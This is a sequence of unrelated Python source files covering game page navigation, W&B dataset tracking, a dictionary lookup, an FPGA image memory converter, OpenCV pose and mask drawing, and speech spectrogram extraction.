        self.current_page_controller = PlayGamePageController(
            end_game_callback=self.end_game_callback, game_manager=game_manager
        )

    def play_different_mode_callback(self, main_user: User):
        """
        Goes to play a different game mode

        :param main_user: Main user in the application
        """
        self.current_page_controller = PickGamePageController(
            go_home_callback=self.go_home_callback,
            game_picked_callback=self.game_picked_callback,
            manage_preferences_callback=self.manage_preferences_callback,
            main_user=main_user,
        )

    def login_callback(self, user: User):
        """
        Goes to play a different game mode

        :param user: The user in the application
        """
        self.current_page_controller = PickGamePageController(
            go_home_callback=self.go_home_callback,
            game_picked_callback=self.game_picked_callback,
            manage_preferences_callback=self.manage_preferences_callback,
            main_user=user,
        )

    def back_to_pick_game_callback(self, main_user: User) -> None:
        """
        Go back to pick a game

        :param main_user:
        """
        self.current_page_controller = PickGamePageController(
            game_picked_callback=self.game_picked_callback,
            go_home_callback=self.go_home_callback,
            main_user=main_user,
            manage_preferences_callback=self.manage_preferences_callback,
        )


"""track datasets with W&B. https://docs.wandb.ai/tutorials/artifacts"""
import torch
import pandas as pd

import wandb

from typing import Dict, Any, Optional, Tuple

import os
import sys
import json
from LANAM.config.default import defaults
from LANAM.data.base import LANAMDataset, LANAMSyntheticDataset

cfg = defaults()

def log_dataset(dataset: LANAMDataset,
                project_name: str,
                artifact_name: str,
                table_name: str):
    """Log dataset to W&B table.
    Args:
    ----
    dataset: LANAMDataset or LANAMSyntheticDataset
    """
    if isinstance(dataset, LANAMDataset):
        log_LANAMDataset(dataset, project_name, artifact_name, table_name)
    elif isinstance(dataset, LANAMSyntheticDataset):
        log_LANAMSyntheticDataset(dataset, project_name, artifact_name, table_name)
    else:
        raise ValueError('`dataset` should be an `LANAMDataset` or `LANAMSyntheticDataset` instance.')

def load_dataset(project_name: str,
                 artifact_or_name: str,
                 table_name: str,
                 config=cfg):
    """fetch dataset from W&B
    Returns:
    -----
    dataset: LANAMDataset or LANAMSyntheticDataset
    """
    dataset, metadata = load_table_to_dataframe(project_name, artifact_or_name, table_name)
    in_features = metadata['in_features']
    data = dataset.loc[:, :'target']

    sigma, feature_targets = None, None
    if 'sigma' in metadata:
        sigma = metadata['sigma']
    if 'feature_target1' in dataset.columns:
        feature_targets = torch.tensor(dataset.loc[:, 'feature_target1':].values, dtype=torch.float32) # NOTE to specify datatype: automatically convert to double.

    if sigma is not None and feature_targets is not None:
        return LANAMSyntheticDataset(config,
                        data=data,
                        features_columns=data.columns[:-1],
                        targets_column=data.columns[-1],
                        feature_targets=feature_targets,
                        sigma=sigma)
    else:
        return LANAMDataset(config,
                        data=data,
                        features_columns=data.columns[:-1],
                        targets_column=data.columns[-1])

def log_LANAMSyntheticDataset(dataset: LANAMSyntheticDataset,
                              project_name: str,
                              artifact_name: str,
                              table_name: str):
    """Log LANAMSyntheticDataset to W&B table. """
    in_features = dataset.in_features
    sigma = dataset.sigma
    feature_targets = dataset.feature_targets

    data = dataset.raw_data
    for idx in range(in_features):
        data[f'feature_target{idx+1}'] = pd.Series(feature_targets[:, idx])

    metadata = {
        'sigma': sigma,
        'in_features': in_features,
    }
    log_dataframe_to_table(data, project_name, artifact_name, table_name, metadata)

def log_LANAMDataset(dataset: LANAMDataset,
                     project_name: str,
                    artifact_name: str,
                    table_name: str):
    """Log LANAMDataset to W&B table. """
    metadata = {
        'in_features': dataset.in_features
    }

    log_dataframe_to_table(dataset.raw_data, project_name, artifact_name, table_name, metadata)

def log_dataframe_to_table(data: pd.DataFrame, project_name, artifact_name, table_name, metadata: dict=None):
    """log pandas.DataFrame data to W&B as a table."""
    table = wandb.Table(dataframe=data)
    with wandb.init(project=project_name) as run:
        if metadata is None:
            metadata = dict()
        artifact = wandb.Artifact(artifact_name, type='dataset', metadata=metadata)
        artifact.add(table, table_name)
        run.log({table_name: table})
        run.log_artifact(artifact)

def load_LANAMDataset(project_name, artifact_or_name, table_name, config=cfg):
    """fetch LANAMDataset from W&B"""
    data, _ = load_table_to_dataframe(project_name, artifact_or_name, table_name)
    return LANAMDataset(config,
                        data=data,
                        features_columns=data.columns[:-1],
                        targets_column=data.columns[-1])

def load_LANAMSyntheticDataset(project_name, artifact_or_name, table_name, config=cfg):
    """fetch LANAMSyntheticDataset from W&B"""
    dataset, metadata = load_table_to_dataframe(project_name, artifact_or_name, table_name)
    sigma = metadata['sigma']
    in_features = metadata['in_features']
    data = dataset.loc[:, :'target']
    feature_targets = torch.tensor(dataset.loc[:, 'feature_target1':].values, dtype=torch.float32) # NOTE to specify datatype: automatically convert to double.

    return LANAMSyntheticDataset(config,
                        data=data,
                        features_columns=data.columns[:-1],
                        targets_column=data.columns[-1],
                        feature_targets=feature_targets,
                        sigma=sigma)

def load_table_to_dataframe(project_name, artifact_or_name, table_name):
    """load W&B table as pandas.DataFrame data"""
    with wandb.init(project=project_name) as run:
        # declare which artifact we'll be using
        artifact = run.use_artifact(artifact_or_name)
        metadata = artifact.metadata
        #print(metadata)
        artifact_dir = artifact.download()
        table_path = f'{artifact_dir}/{table_name}.table.json'

        with open(table_path) as file:
            json_dict = json.load(file)

        data = pd.DataFrame(json_dict['data'], columns=json_dict['columns'])

    return data, metadata

def load_and_log(datasets,
                 project_name,
                 job_type,
                 artifact_name,
                 description: Optional[str] = None,
                 metadata: Optional[Dict[str, Any]] = None,):
    """log dataset files of training, validation, and test subsets to W&B."""
    # start a run with specified project and a descriptive job tag
    with wandb.init(project=project_name, job_type=job_type) as run:
        names = ["training", "validation", "test"]

        # create Artifact, with user-defined description and meta-data
        if metadata is None:
            metadata = dict()
        metadata['sizes']={names[index]: len(dataset) for index, dataset in enumerate(datasets)}
        raw_data = wandb.Artifact(name=artifact_name,
                                  type="dataset",
                                  metadata=metadata)

        for name, data in zip(names, datasets):
            # Store a new file in the artifact, and write something into its contents.
            with raw_data.new_file(name + ".pt", mode="wb") as file:
                torch.save(data.tensors, file)

        # Save the artifact to W&B.
        run.log_artifact(raw_data)

def preprocess(tensors: Tuple, use_test, batch_size) -> torch.utils.data.Dataset:
    """convert data to dataset.
    """
    pass

def read(data_dir: str, split: str)->Tuple:
    """read tensors from file `split.pt` in the directory `data.dir`.
    Args:
    -----
    data_dir: str
        The local folder for downloaded files.
    split: str
        filenames.
    """
    filename = split + '.pt'
    X, y, fnn = torch.load(os.path.join(data_dir, filename))
    return X, y, fnn

def preprocess_and_log(project_name,
                       job_type,
                       artifact_or_name,
                       batch_size=64,
                       ):
    """fetch and preprocess data of job type `job_type` from W&B project `project_name`.
    Returns:
    --------
    processed_datasets:
        customized dataset.
    """
    with wandb.init(project=project_name, job_type=job_type) as run:
        # ✔ declare which artifact we'll be using
        raw_data_artifact = run.use_artifact(artifact_or_name)
        # if need be, download the artifact
        raw_dataset = raw_data_artifact.download()

        processed_datasets = dict()
        for split in ['training', 'validation', 'test']:
            raw_split = read(raw_dataset, split)
            use_test = True if split == 'test' else False
            processed_dataset = preprocess(raw_split, use_test, batch_size)
            processed_datasets[split] = processed_dataset

    return processed_datasets


#!/usr/bin/env python
import requests as r
from pyquery import PyQuery as pq
import os

url = 'http://dict.youdao.com/fsearch?q=%s'

try:
    html = r.get(url % os.sys.argv[1]).content
    d = pq(html)
    if not len([print(v.text) for v in d('phonetic-symbol,content')]):
        print("can't find word")
except:
    print("you need input word")


import os
import sys
from PIL import Image

if len(sys.argv) != 4:
    print("usage: python img2fmem.py image_file colour_bits output_format")
    print("       image_file: source image file name")
    print("       colour_bits: number of colour bits per pixel: 4, 6, or 8")
    print("       output_format: mem, coe or mif")
    sys.exit()

MESSAGE = "Generated by img2fmem.py - https://github.com/WillGreen/fpgatools\n"

input_file = sys.argv[1]
base_name = os.path.splitext(input_file)[0]

colour_bits = int(sys.argv[2])
if colour_bits == 4:
    pal_size = 16
elif colour_bits == 6:
    pal_size = 64
else:
    pal_size = 256  # default to 8-bit
    colour_bits = 8  # explictly assign a value so we can use in COE format

mif_header = """DEPTH = """
mif_header_2 = """
WIDTH = """
mif_header_3 = """
ADDRESS_RADIX = HEX;
DATA_RADIX = HEX;
CONTENT
BEGIN\n"""

output_format = sys.argv[3]

# load source image
source_img = Image.open(input_file)
prev_img = source_img.copy()  # take a copy for later preview process
(width, height) = source_img.size

# Reduce to 12-bit precision (4-bit per colour) in range 0-15
pixels = source_img.load()
for x in range(width):
    for y in range(height):
        pixels[x, y] = tuple([p // 16 for p in pixels[x, y]])

# Convert to limited colour palette
dest_img = source_img.convert('P', palette=Image.ADAPTIVE, colors=pal_size)
dest_pal = dest_img.palette.palette

# Generate hex image output
image_data = dest_img.getdata()
image_output = ''
if output_format == 'mem':
    image_output += "// " + MESSAGE
    for d in image_data:
        image_output += hex(d)[2:] + "\n"
elif output_format == 'coe':
    image_output += "; " + MESSAGE
    image_output += "memory_initialization_radix={:d};".format(colour_bits)
    image_output += "\nmemory_initialization_vector=\n"
    for d in image_data:
        image_output += hex(d)[2:] + ",\n"
    # replace last comma with semicolon to complete coe statement
    image_output = image_output[:-2]
    image_output += ";\n"
elif output_format == 'mif':
    image_output += mif_header
    image_output += str(width*height) + ";"
    image_output += mif_header_2
    image_output += str(colour_bits) + ";"
    image_output += mif_header_3
    index = 0
    for d in image_data:
        image_output += hex(index)[2:] + ":\t" + hex(d)[2:] + ";\n"
        index+= 1
    image_output += "END;"
else:
    print("Error: output_format should be mem, coe or mif.")
    sys.exit()

with open(base_name + '.' + output_format, 'w') as f:
    f.write(image_output)

# Chunk raw palette into three byte sections (RGB)
colours = [bytearray(dest_pal[i:i+3]) for i in range(0, len(dest_pal), 3)]

# Generate hex palette output
palette_output = ''
if output_format == 'mem':
    palette_output += "// " + MESSAGE
    for i in range(pal_size):
        pal_entry = colours[i][0] * 256 + colours[i][1] * 16 + colours[i][2]
        palette_output += hex(pal_entry)[2:] + "\n"
elif output_format == 'coe':
    palette_output += "; " + MESSAGE
    palette_output += "memory_initialization_radix=12;\n"
    palette_output += "memory_initialization_vector=\n"
    for i in range(pal_size):
        pal_entry = colours[i][0] * 256 + colours[i][1] * 16 + colours[i][2]
        palette_output += hex(pal_entry)[2:] + ",\n"
    # replace last comma with semicolon to complete coe statement
    palette_output = palette_output[:-2]
    palette_output += ";\n"
elif output_format == 'mif':
    palette_output += mif_header
    palette_output += str(pal_size) + ";"
    palette_output += mif_header_2
    palette_output += str(12) + ";"
    palette_output += mif_header_3
    for i in range(pal_size):
	    pal_entry = colours[i][0] * 256 + colours[i][1] * 16 + colours[i][2]
	    palette_output += hex(i)[2:] + ":\t"+hex(pal_entry)[2:] + ";\n"
    palette_output += "END;"
else:
    print("Error: output_format should be mem, coe or mif.")
    sys.exit()

with open(base_name + '_palette.' + output_format, 'w') as f:
    f.write(palette_output)

# Convert preview image and save
# 4-bit per pixel but retain full 0-255 range so image is not too dark
prev_pixels = prev_img.load()
for x in range(width):
    for y in range(height):
        prev_pixels[x, y] = tuple([(p // 16) * 16 for p in prev_pixels[x, y]])
prev_img = prev_img.convert('P', palette=Image.ADAPTIVE, colors=pal_size)
prev_img.save(base_name + '_preview.png')


from random import random as rand
import cv2
import numpy as np
import math
import copy

def draw_points(im, points, point_color=None):
    color = (rand() * 255, rand() * 255, rand() * 255) if point_color is None else point_color
    for i in range(points.shape[0]):
        cv2.circle(im, (int(points[i, 0]), int(points[i, 1])), 1, color=color, thickness=1)
    return im

def draw_box(im, box, box_color=None):
    color = (rand() * 255, rand() * 255, rand() * 255) if box_color is None else box_color
    cv2.rectangle(im, (int(box[0]), int(box[1])), (int(box[2]), int(box[3])), color=color, thickness=2)
    return im

def draw_track_id(im, track_id, pos, track_id_color=None):
    color = (rand() * 255, rand() * 255, rand() * 255) if track_id_color is None else track_id_color
    cv2.putText(im, text='%d' % track_id, org=pos, fontFace=cv2.FONT_HERSHEY_SIMPLEX, fontScale=0.8, color=color, thickness=2)
    return im

def draw_kps(im, kps, skeleton=None, point_color=None, skeleton_color=None, kps_thresh=0, kps_show_num=False):
    # kps: (num_kps * 3, )
    kps = kps.reshape((-1, 3))
    for j in range(kps.shape[0]):
        x = int(kps[j, 0] + 0.5)
        y = int(kps[j, 1] + 0.5)
        v = kps[j, 2]
        if kps_thresh < v < 3:
            if point_color is None:
                color = (rand() * 255, rand() * 255, rand() * 255)
            elif isinstance(point_color[0], list):
                color = point_color[j % len(point_color)]
            else:
                color = point_color
            # cv2.circle(im, (x, y), 3, color=color, thickness=2)
            cv2.circle(im, (x, y), 2, color=color, thickness=3)
            if kps_show_num:
                # cv2.putText(im, '%.2f' % v, (x+3, y), cv2.FONT_HERSHEY_COMPLEX_SMALL, 1.0, color, 1)
                cv2.putText(im, '%d' % j, (x+3, y), cv2.FONT_HERSHEY_COMPLEX_SMALL, 1.0, color, 1)
    if skeleton is not None:
        for j in range(skeleton.shape[0]):
            p1 = skeleton[j, 0]
            p2 = skeleton[j, 1]
            x1 = int(kps[p1, 0] + 0.5)
            y1 = int(kps[p1, 1] + 0.5)
            x2 = int(kps[p2, 0] + 0.5)
            y2 = int(kps[p2, 1] + 0.5)
            if kps_thresh < kps[p1, 2] < 3 and kps_thresh < kps[p2, 2] < 3:
                if skeleton_color is None:
                    color = (rand() * 255, rand() * 255, rand() * 255)
                elif isinstance(skeleton_color[0], list):
                    color = skeleton_color[j % len(skeleton_color)]
                else:
                    color = skeleton_color
                cv2.line(im, (x1, y1), (x2, y2), color=color, thickness=3)

                # cx = (x1 + x2) / 2
                # cy = (y1 + y2) / 2
                # length = np.linalg.norm([x1 - x2, y1 - y2])
                # angle = math.degrees(math.atan2(y1 - y2, x1 - x2))
                # polygon = cv2.ellipse2Poly((int(cx), int(cy)), (int(length/2), 2), int(angle), 0, 360, 1)
                # cv2.fillConvexPoly(im, polygon, color)
    return im

def get_edge_points(mask, min_dist=25):
    contours, hierarchy = cv2.findContours(mask.copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_TC89_KCOS)
    if len(contours) > 0:
        num_points = 0
        points = 0
        for j in range(len(contours)):
            if len(contours[j]) > num_points:
                num_points = len(contours[j])
                points = contours[j]
        points = points.reshape((-1, 2))
    else:
        points = np.zeros((0, 2), dtype=np.int32)
    if points.shape[0] > 0:
        mask_len = mask.shape[0] + mask.shape[1]
        min_num_points = 15
        if mask_len / min_num_points < min_dist:
            min_dist = mask_len / min_num_points
        new_points = []
        last_point = [points[0, 0], points[0, 1]]
        new_points.append(last_point)
        for i in range(1, points.shape[0]):
            dist = math.sqrt((points[i, 0] - last_point[0]) ** 2 + (points[i, 1] - last_point[1]) ** 2)
            if dist >= min_dist:
                last_point = [points[i, 0], points[i, 1]]
                new_points.append(last_point)
        points = np.array(new_points)
    # print len(points)
    return points

def get_edge_mask(mask, edge_size=5):
    pad = edge_size
    kernel = cv2.getStructuringElement(cv2.MORPH_RECT, (edge_size, edge_size))
    new_mask = np.zeros((mask.shape[0] + 2 * pad, mask.shape[1] + 2 * pad), dtype=mask.dtype)
    new_mask[pad:mask.shape[0] + pad, pad:mask.shape[1] + pad] = mask
    edge_mask = new_mask - cv2.erode(new_mask, kernel)
    return edge_mask[pad:mask.shape[0] + pad, pad:mask.shape[1] + pad]

def get_mask(edge_points, mask_height, mask_width):
    from skimage.draw import polygon
    edge_mask = np.zeros((mask_height, mask_width), dtype=np.bool)
    if len(edge_points) > 0:
        rr, cc = polygon(edge_points[:, 1], edge_points[:, 0])
        edge_mask[rr, cc] = 1
    return edge_mask

def draw_mask(im, mask, box=None, mask_color=None, mask_edge_color=None, scale=0.5, binary_thresh=0.5):
    if mask_color is None:
        mask_color = (rand() * 255, rand() * 255, rand() * 255)
    mask_color = np.array(mask_color).reshape((1, 1, 3))
    if mask_edge_color is None:
        mask_edge_color = (200, 200, 200)
    mask_edge_color = np.array(mask_edge_color).reshape((1, 1, 3))
    if mask.shape[:2] != im.shape[:2]:
        mask = cv2.resize(mask, (box[2] - box[0] + 1, box[3] - box[1] + 1), interpolation=cv2.INTER_LINEAR)
        mask = (mask >= binary_thresh).astype(np.uint8)
        roi_im = im[box[1]:box[3] + 1, box[0]:box[2] + 1, :]
        mask_ = mask[:, :, np.newaxis]
        roi_im[:] = roi_im - scale * roi_im * mask_ + scale * mask_color * mask_

        edge_mask = get_edge_mask(mask)
        edge_mask_ = edge_mask[:, :, np.newaxis]
        roi_im[:] = roi_im - roi_im * edge_mask_ + mask_edge_color * edge_mask_

        # edge_points = get_edge_points(mask)
        # mask = get_mask(edge_points, mask.shape[0], mask.shape[1])
        # roi_im[:] = draw_points(roi_im, edge_points, point_color=(0, 0, 255))
    else:
        mask = mask >= binary_thresh
        mask = mask[:, :, np.newaxis]
        im = im - scale * im * mask + scale * mask_color * mask
    return im

def draw_densepose_iuv_point(im, iuv):
    bbox = iuv[0]
    X = iuv[1]
    Y = iuv[2]
    IUV = iuv[3: 6]

    IUV_list = []
    for i in range(3):
        img = copy.copy(im)
        bbox = [int(round(_)) for _ in bbox]
        canvas = img[bbox[1]: bbox[3], bbox[0]: bbox[2]]
        height = canvas.shape[0]
        width = canvas.shape[1]
        for j in range(len(X)):
            x = int(round(X[j] * width / 255))
            y = int(round(Y[j] * height / 255))
            if i == 0:
                cv2.circle(canvas, (x, y), 2, color=(int(255.0 * IUV[i][j] / max(IUV[i])),
                                                     int(255.0 * IUV[i][j] / max(IUV[i])),
                                                     int(255 - 255.0 * IUV[i][j] / max(IUV[i]))), thickness=2)
            else:
                cv2.circle(canvas, (x, y), 2, color=(int(255.0 * IUV[i][j] / max(IUV[i])),
                                                     int(255 - 255.0 * IUV[i][j] / max(IUV[i])),
                                                     0), thickness=2)
        IUV_list.append(img)
    iuv_img = np.vstack(IUV_list)
    return iuv_img

def draw_densepose_iuv(im, iuv, box, lines_num=9):
    iuv = np.transpose(iuv, (1, 2, 0))
    iuv = cv2.resize(iuv, (box[2] - box[0] + 1, box[3] - box[1] + 1), interpolation=cv2.INTER_LINEAR)
    roi_im = im[box[1]:box[3] + 1, box[0]:box[2] + 1, :]

    roi_im_resize = cv2.resize(roi_im, (2 * roi_im.shape[1], 2 * roi_im.shape[0]), interpolation=cv2.INTER_LINEAR)

    lines_num = int(round(lines_num * 1.0 * (box[2] - box[0] + 100) / 150))

    I = iuv[:, :, 0]
    for i in range(1, 25):
        if len(I[I == i]) == 0:
            continue

        u = np.zeros_like(I)
        v = np.zeros_like(I)
        u[I == i] = iuv[:, :, 1][I == i]
        v[I == i] = iuv[:, :, 2][I == i]

        u_num = iuv[:, :, 1][I == i]
        v_num = iuv[:, :, 2][I == i]

        for ind in range(1, lines_num):
            thred = 1.0 * ind / lines_num

            _, thresh = cv2.threshold(u, u_num.min() + thred * (u_num.max() - u_num.min()), 255, 0)
            dist_transform = cv2.distanceTransform(np.uint8(thresh), cv2.DIST_L2, 0)
            dist_transform = np.uint8(dist_transform)

            _, contours, _ = cv2.findContours(dist_transform, cv2.RETR_CCOMP, cv2.CHAIN_APPROX_NONE)
            contours = [(col * 2) for col in contours]
            cv2.drawContours(roi_im_resize, contours, -1, (int(30 + (1 - thred) * 225),
                                                           int(90 + thred * thred * (255 - 90)),
                                                           int(thred * thred * 250)), 2)

            _, thresh = cv2.threshold(v, v_num.min() + thred * (v_num.max() - v_num.min()), 255, 0)
            dist_transform = cv2.distanceTransform(np.uint8(thresh), cv2.DIST_L2, 0)
            dist_transform = np.uint8(dist_transform)

            _, contours, _ = cv2.findContours(dist_transform, cv2.RETR_CCOMP, cv2.CHAIN_APPROX_NONE)
            contours = [(col * 2) for col in contours]
            cv2.drawContours(roi_im_resize, contours, -1, (int(30 + (1 - thred) * 225),
                                                           int(90 + thred * thred * (255 - 90)),
                                                           int(thred * thred * 250)), 2)

    _, thresh = cv2.threshold(I, 0.5, 255, 0)
    dist_transform = cv2.distanceTransform(np.uint8(thresh), cv2.DIST_L2, 0)
    dist_transform = np.uint8(dist_transform)
    _, contours, _ = cv2.findContours(dist_transform, cv2.RETR_CCOMP, cv2.CHAIN_APPROX_NONE)
    contours = [(col * 2) for col in contours]
    cv2.drawContours(roi_im_resize, contours, -1, (70, 150, 0), 6)

    roi_im[:] = cv2.resize(roi_im_resize, (roi_im.shape[1], roi_im.shape[0]), interpolation=cv2.INTER_LINEAR)[:]

    return im

def attach_color_to_seg(seg, seg_color=None):
    if seg.ndim == 3:
        assert seg.shape[2] == 3
        return seg
    seg_im = np.zeros((seg.shape[0], seg.shape[1], 3), dtype=np.uint8)
    min_ind = int(seg.min())
    max_ind = int(seg.max())
    for i in range(min_ind, max_ind + 1):
        if i <= 0:
            continue
        if seg_color is None:
            color = (rand() * 255, rand() * 255, rand() * 255)
        elif isinstance(seg_color, list):
            color = seg_color[i % len(seg_color)]
        else:
            color = seg_color
        seg_im[seg == i, 0] = color[0]
        seg_im[seg == i, 1] = color[1]
        seg_im[seg == i, 2] = color[2]
    return seg_im

def draw_seg(im, seg, box=None, seg_color=None, scale=0.5):
    seg_im = attach_color_to_seg(seg.astype(np.uint8), seg_color=seg_color)
    if im.shape[:2] == seg_im.shape[:2]:
        roi_im = im
    else:
        roi_im = im[box[1]:box[3] + 1, box[0]:box[2] + 1, :]
        if roi_im.shape[:2] != seg_im.shape[:2]:
            seg_im = cv2.resize(seg_im, (roi_im.shape[1], roi_im.shape[0]), interpolation=cv2.INTER_NEAREST)
            seg = cv2.resize(seg, (roi_im.shape[1], roi_im.shape[0]), interpolation=cv2.INTER_NEAREST)
    if seg.ndim == 3:
        seg = np.sum(seg, axis=2)
    mask = seg > 0
    mask = mask[:, :, np.newaxis]
    roi_im[:] = roi_im - scale * roi_im * mask + scale * seg_im * mask
    return im

def draw_all(im, all_boxes=None, all_classes=None, box_color=None, do_draw_box=True,
             all_segs=None, all_seg_boxes=None, seg_color=None,
             all_masks=None, all_mask_boxes=None, mask_color=None,
             all_kps=None, skeleton=None, point_color=None, skeleton_color=None, kps_thresh=0, kps_show_num=False,
             all_densepose_iuv=None, all_densepose_iuv_point=None,
             all_track_ids=None, track_id_color=None):
    # im: (h, w, 3)
    # all_boxes: (num_boxes, 4)
    # all_kps: (num_boxes, num_kps*3)
    # all_masks: (num_boxes, h, w)
    # all_segs: (num_boxes, h, w)
    from utils.colormap import colormap
    color_list = colormap()
    im_draw = copy.deepcopy(im)
    # draw boxes
    if all_boxes is not None and do_draw_box:
        all_boxes = np.round(all_boxes).astype(int)
        for i in range(len(all_boxes)):
            if all_classes is not None:
                color_idx = int(abs(all_classes[i])) - 1
            else:
                color_idx = i
            if box_color is None:
                box_color_i = color_list[color_idx % len(color_list)]
            elif isinstance(box_color, list):
                box_color_i = box_color[color_idx % len(box_color)]
            else:
                box_color_i = box_color
            im_draw = draw_box(im_draw, all_boxes[i], box_color=box_color_i)

    # draw segs
    if all_segs is not None:
        for i in range(len(all_segs)):
            if seg_color is None:
                seg_color_i = color_list
            else:
                seg_color_i = seg_color
            seg_box_i = all_seg_boxes[i].astype(int) if all_seg_boxes is not None else None
            im_draw = draw_seg(im_draw, all_segs[i], seg_box_i, seg_color=seg_color_i)

    # draw masks
    if all_masks is not None:
        for i in range(len(all_masks)):
            if mask_color is None:
                mask_color_i = color_list[i % len(color_list)]
            elif isinstance(mask_color, list):
                mask_color_i = mask_color[i % len(mask_color)]
            else:
                mask_color_i = mask_color
            mask_box_i = all_mask_boxes[i].astype(int) if all_mask_boxes is not None else None
            im_draw = draw_mask(im_draw, all_masks[i], mask_box_i, mask_color=mask_color_i)

    # draw kps
    if all_kps is not None:
        for i in range(len(all_kps)):
            if point_color is None:
                point_color_i = color_list[i % len(color_list)]
            elif isinstance(point_color, list):
                point_color_i = point_color[i % len(point_color)]
            else:
                point_color_i = point_color
            if skeleton_color is None:
                skeleton_color_i = color_list
            else:
                skeleton_color_i = skeleton_color
            im_draw = draw_kps(im_draw, all_kps[i], skeleton=skeleton,
                               point_color=point_color_i, skeleton_color=skeleton_color_i,
                               kps_thresh=kps_thresh, kps_show_num=kps_show_num)

    # draw densepose IUV
    if all_densepose_iuv_point is not None:
        if len(all_densepose_iuv_point[1]) > 0:
            im_draw = draw_densepose_iuv_point(im_draw, all_densepose_iuv_point)
    if all_densepose_iuv is not None:
        for i in range(len(all_densepose_iuv)):
            seg_densepose_box_i = all_seg_boxes[i].astype(int) if all_seg_boxes is not None else None
            im_draw = draw_densepose_iuv(im_draw, all_densepose_iuv[i], seg_densepose_box_i)

    # draw track ids
    if all_track_ids is not None:
        assert all_boxes is not None
        for i in range(len(all_track_ids)):
            if track_id_color is None:
                track_id_color_i = color_list[i % len(color_list)]
            elif isinstance(track_id_color, list):
                track_id_color_i = track_id_color[i]
            else:
                track_id_color_i = track_id_color
            x = all_boxes[i, 0] + (all_boxes[i, 2] - all_boxes[i, 0]) / 3
            im_draw = draw_track_id(im_draw, all_track_ids[i], pos=(x, all_boxes[i, 1]), track_id_color=track_id_color_i)
    return im_draw


#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Thu Jul 23 21:42:48 2020

@author: yochai_yemini
"""

import numpy as np
import soundfile as sf
from utils import stft, normalize_mc, update_max, update_min
import pathlib
import pickle
import argparse

# number of microphones used for recording
MICS_NUM = 8

# Leave this number of STFT frames from each recording
FRAMES_NUM = 256

# STFT parameters
K = 512
overlap = 0.75
eps = 2.2204*np.exp(-16)

#male_dir = ["c0b","c0e","c0k","c0m","c0o","c0p","c0q","c0t","c0w","c0x","c0y",
# "c1b","c1c","c1e","c1g","c1h","c1i","c1j","c1k","c1l","c1m","c1n","c1o","c1p",
# "c1r","c1s","c1t","c1u","c1v","c1w","c1x","c1y","c1z","c02","c2b","c2d","c2e",
# "c04","c05","c06","c08","c11","c14","c15","c16","c17","c20","c22","c23","c24",
# "c25","c27","c28"]
#female_dir = ["c0a","c0c","c0d","c0f","c0g","c0h","c0i","c0j","c0l","c0n",
# "c0r","c0s","c0u","c0v","c0z","c1a","c1d","c1f","c1q","c2a","c2c","c2f","c2g",
# "c2h","c2i","c2j","c2k","c2l","c03","c07","c09","c10","c12","c13","c18","c19",
# "c21","c26","c29"]

def save_spectrograms(mics_num, clean_dir, reverb_dir, save_dir, split):
    save_dir.mkdir(parents=True, exist_ok=True)

    speakers_dir_clean = sorted([e for e in clean_dir.iterdir() if e.is_dir()])
    # [print(speaker.name) for speaker in speakers_dir_clean]
    log_max_clean = 0
    log_max_reverb = 0
    log_min_clean = 1
    log_min_reverb = 1

    total_count = 0

    for speaker in speakers_dir_clean:

        # Get all clean WAV files from the speaker's dir
        speaker_files_clean = sorted([e for e in speaker.iterdir() if e.is_file() and e.suffix == '.wav'])

        # Get all reverb WAV files from the speaker's dir
        speaker_dir_reverb = reverb_dir / speaker.name
        speaker_files_reverb = sorted([e for e in speaker_dir_reverb.iterdir() if e.is_file() and e.suffix == '.wav'])

        assert len(speaker_files_clean) * MICS_NUM == len(speaker_files_reverb)

        # Iterate on WAV files
        for i in range(len(speaker_files_clean)):
            # Get clean wav
            file_clean = speaker_files_clean[i]
            print('processing %s / %s (%d)' % (speaker.name, file_clean.name, total_count+1))
            # print(str(file_clean))
            s, fs = sf.read(file_clean)
            s = s/1.1/np.max(np.abs(s))
            S_temp = {}
            S_temp['mag'], S_temp['phase'] = stft(s, K, overlap)

            if len(S_temp['mag'].T) < 256:
                continue

            # Get multichannel reverb wavs
            z = []
            for j in range(mics_num):
                file_reverb = speaker_files_reverb[j + i*MICS_NUM]
                # print(str(file_reverb))
                assert file_reverb.name.startswith(file_clean.name[:-4], 0)
                temp, fs = sf.read(file_reverb)
                z.append(temp)

            z = normalize_mc(np.array(z))
            # z = np.array(z)
            # z = z/1.1/np.max(np.abs(z))

            # Get the STFTs of the mutlichannel reverb signals
            Z_temp = [stft(z[m], K, overlap) for m in range(mics_num)]

            if split == 'train':
                if len(S_temp['mag'].T) < FRAMES_NUM*2:
                    rounds_num = 1
                else:
                    rounds_num = 2
            else:
                rounds_num = 1

            for _ in range(rounds_num):
                # fetch  256-frames slices from the spectrograms
                S = {}
                start_index = np.random.randint(S_temp['mag'].shape[1]-255)
                S['mag'] = S_temp['mag'][:-1, start_index:start_index+256].T
                # S['phase'] = S_temp['phase'][:-1, start_index:start_index+256].T
                S['mag'] = S['mag'].astype('float32')
                # S['phase'] = S['phase'].astype('float32')

                Z = {'mag': np.zeros((mics_num, FRAMES_NUM, int(K/2)))
                     }
                      # 'phase': np.zeros((mics_num, FRAMES_NUM, int(K/2)))}
                for j in range(mics_num):
                    Z['mag'][j] = Z_temp[j][0][:-1, start_index:start_index+FRAMES_NUM].T
                    # Z['phase'][j] = Z_temp[j][1][:-1, start_index:start_index+FRAMES_NUM].T
                Z['mag'] = Z['mag'].astype('float32')
                # Z['phase'] = Z['phase'].astype('float32')

                # Save spectrograms
                spectrogram_file = save_dir / '{}.p'.format(total_count)
                with open(spectrogram_file, 'wb') as f:
                    pickle.dump((Z, S), f)

                # Update global min and max values for the clean signal
                S_log_mag = np.log(S['mag']+eps)
                log_max_clean = update_max(log_max_clean, S_log_mag)
                log_min_clean = update_min(log_min_clean, S_log_mag)
                # print(np.log(np.max(S['mag'])+eps), np.log(np.min(S['mag']+eps)))
                print(log_max_clean, log_min_clean)

                # Update global min and max values for the reverb signals
                Z_log_mag = np.log(Z['mag']+eps)
                log_max_reverb = update_max(log_max_reverb, Z_log_mag)
                log_min_reverb = update_min(log_min_reverb, Z_log_mag)
                # print(np.log(np.max(Z['mag'])+eps), np.log(np.min(Z['mag'])+eps))
                print(log_max_reverb, log_min_reverb)

                total_count += 1
    return log_max_clean, log_min_clean, log_max_reverb, log_min_reverb

########### Process training data ###########
parser = argparse.ArgumentParser(
        description="Extract spectrograms from reverberant and clean WAV files for training the network."
    )
parser.add_argument('--mics_num', help='number of microphones to process in the array.', type=int, default=2)
